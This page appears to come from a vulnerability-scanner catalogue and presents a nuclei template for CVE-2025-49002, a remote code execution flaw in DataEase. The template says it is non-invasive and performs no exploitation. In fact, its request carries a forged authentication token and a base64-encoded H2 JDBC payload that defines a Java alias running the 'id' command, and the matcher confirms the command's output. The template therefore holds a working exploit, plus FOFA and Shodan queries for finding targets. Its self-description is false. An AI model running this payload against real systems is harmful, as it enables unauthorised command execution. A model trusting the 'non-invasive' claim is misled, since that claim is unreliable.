DataEase - Remote Code Execution

highseverity

50.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection template intended only to identify exposed DataEase instances and extract possible version hints for manual verification. It does not attempt authentication bypass, JDBC exploitation, or command execution.

Impact

If the target is running an affected DataEase version, an attacker may exploit the vulnerable logic as part of a broader attack chain. Public exposure of the application increases risk.

Fix

Upgrade DataEase to 2.10.10 or later, restrict public access to management/API endpoints, and review whether vulnerable datasource-related interfaces are exposed.

How to confirm it

Send: POST /de2api/datasource/getSchema
Positive when: contains_all(body, "Exception calling", "exec():") and contains(content_type, "application/json") and regex("uid=[0-9]+.*gid=[0-9]+.*", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-49002 -u <target>

The full check

id: CVE-2025-49002

info:
  name: DataEase - Remote Code Execution
  author: WeQi
  severity: high
  description: |
    DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection template intended only to identify exposed DataEase instances and extract possible version hints for manual verification. It does not attempt authentication bypass, JDBC exploitation, or command execution.
  impact: |
    If the target is running an affected DataEase version, an attacker may exploit the vulnerable logic as part of a broader attack chain. Public exposure of the application increases risk.
  remediation: |
    Upgrade DataEase to 2.10.10 or later, restrict public access to management/API endpoints, and review whether vulnerable datasource-related interfaces are exposed.
  reference:
    - https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49002
  classification:
    cve-id: CVE-2025-49002
    epss-score: 0.50712
    epss-percentile: 0.9893
    cwe-id: CWE-290
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: dataease
    fofa-query: app="FIT2CLOUD-DataEase"
    shodan-query: http.html:"DataEase"
  tags: cve,cve2025,dataease,fit2cloud,vkev

http:
  - raw:
      - |
        POST /de2api/datasource/getSchema HTTP/1.1
        Host: {{Hostname}}
        X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
        Content-Type: application/json

        {
          "id": "",
          "name": "11",
          "description": "",
          "type": "h2",
          "apiConfiguration": [],
          "paramsConfiguration": [],
          "enableDataFill": false,
          "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSVNUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhcImlkXCIpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlcihcIlxcQVwiKS5uZXh0KClcXDt0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbihzKVxcO30kJFxcO0NBTEwgRVhFQygpXFw7IiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwiIHBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Exception calling", "exec():")'
          - 'contains(content_type, "application/json")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from